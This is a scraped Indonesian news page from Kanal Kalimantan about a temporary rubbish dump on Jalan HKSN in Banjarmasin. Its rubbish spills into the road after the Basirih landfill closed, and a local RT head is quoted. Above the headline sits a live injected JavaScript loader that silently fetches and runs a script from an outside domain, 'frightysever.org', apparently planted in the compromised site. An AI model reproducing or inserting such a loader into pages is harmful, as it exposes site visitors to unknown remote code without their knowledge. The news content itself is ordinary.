(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Tumpukan Sampah TPS HKSN ‘Memakan’ Setengah Jalan, Ketua RT: Tak Ada Solusi!


KANALKALIMANTAN.COM, BANJARMASIN – Darurat sampah nyaris terjadi di semua wilayah kecamatan di Kota Banjarmasin, diangkut datang lagi begitu terus tak pernah habis. Seperti yang terjadi di Tempat Pembuangan Sementara (TPS) di Jalan HKSN, Kecamatan Banjarmasin Utara tumpukan sampah tak pernah habis diangkut, bahkan nyaris menutup setengah badan jalan di kawasan tersebut.

Seperti terlihat pada Senin (24/3/2025) sore, persimpangan antara Jalan HKSN dan Jalan Perdagangan menjadi titik macet karena sepeda motor dan mobil harus berbagi jalan dengan sampah yang memakan setengah badan jalan.

Keadaan seperti ini tidak pernah ditemui pada tahun 2024, setidaknya hingga akhir tahun.

Namun, memasuki awal 2025, pemandangan tidak biasa terjadi. Perlahan sampah menumpuk dan memasuki badan jalan.

Baca juga: Stabilkan Harga Bahan Pokok, Pemkab Banjar Gelar Pasar Murah Ramadan

TPS HKSN yang masuk wilayah RT 26 Kelurahan Alalak Utara ini menjadi sorotan utama warga.

Menurut Ketua RT 26, Junaidi, tumpukan sampah bisa separah ini di wilayahnya tidak lepas dari adanya pembatasan pengangkutan sampah di TPS HKSN ke TPA.

“Itu (pembatasan pengangkutan sampah) yang menjadi masalah yang membuat sampah ke badan jalan. Lalu, baunya sampai ke permukiman dan warga mengeluh. Solusinya tidak ada karena sekarang dibatasi pengangkutan sampah,” kata Junaidi, ditemui di rumahnya, Senin (24/3/2025) sore.

Junaidi menyadari bahwa adanya pembatasan pengangkutan sampah akibat TPA Basirih yang ditutup Kementerian Lingkungan Hidup sejak 1 Februari 2025.

Baca juga: Menutup Safari Ramadan di Masjid Al Jihad Amuntai, Bupati H Jani Cerita Pernah Tinggal di Palampitan Hulu

“Keluhan warga disampaikan melalui Ketua RT masing-masing di Kelurahan Alalak Utara ketika diundang pihak kelurahan pada 11 Maret lalu, ternyata dalam pertemuan tidak ada solusi,” sambung Junaidi.

Pihak kelurahan hanya menawarkan agar permasalahan sampah menumpuk di TPS HKSN bisa diselesaikan jika ada lahan kosong milik warga.

Tentunya, Junaidi yakin, tidak akan ada warga yang setuju dengan ide tersebut karena tetap berada di wilayah permukiman penduduk.

Dia mencoba memberikan edukasi ke warga agar sebelum membuang sampah, kantong sampah dibagi menjadi sampah organik dan non organik.

Baca juga: Bappedalitbang Banjar Laksanakan Musrenbang RKPD Tahun 2026

“Jadi, dari RT menyerahkan sampah warga ke bank sampah, sehingga nanti bank sampah menyerahkan sampah ke TPS dengan keadaan sampah sudah disesuaikan dengan jenisnya. Itu yang saat ini bisa kami lakukan,” tutupnya. (Kanalkalkmantan.com/torieq)

Reporter : torieq
Editor : bie


Risa

Recent Posts

Tim Sepakbola HSU Siap Berlaga di Kejurprov Kalsel 2025

KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani melepas tim sepakbola HSU berlaga… Read More

33 menit ago

Bupati Kapuas Trail Adventure 3 Segera Hadir, Meriahkan Hari Jadi ke-219 Kota Kuala Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Para pecinta adventure dengan menggunakan motor trail boleh bergembira. Pasalnya, Kapuas… Read More

12 jam ago

DPRD Kapuas Rapat Paripurna Pemandangan Fraksi Terkait Pemekaran Kecamatan

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat paripurna ke… Read More

13 jam ago

Pasca PSU,  Emi Lasari: Lapang Dada, Kembali Bersatu Membangun Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Pasca gelaran Pemungutan Suara Ulang (PSU) Pemilihan Wali Kota dan Wakil Wali… Read More

13 jam ago

Harapan Besar Wakil Rakyat di Momentum Hari Jadi ke-26 Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Harapan disampaikan wakil rakyat yang duduk DPRD Kota Banjarbaru dalam momen peringatan… Read More

15 jam ago

Tim Hanyar Banjarbaru Ajukan Pembatalan Hasil PSU ke MK

KANALKALIMANTAN.COM, BANJARBARU - Tak sampai tiga hari setelah Komisi Pemilihan Umum (KPU) Kalimantan Selatan (Kalsel)… Read More

16 jam ago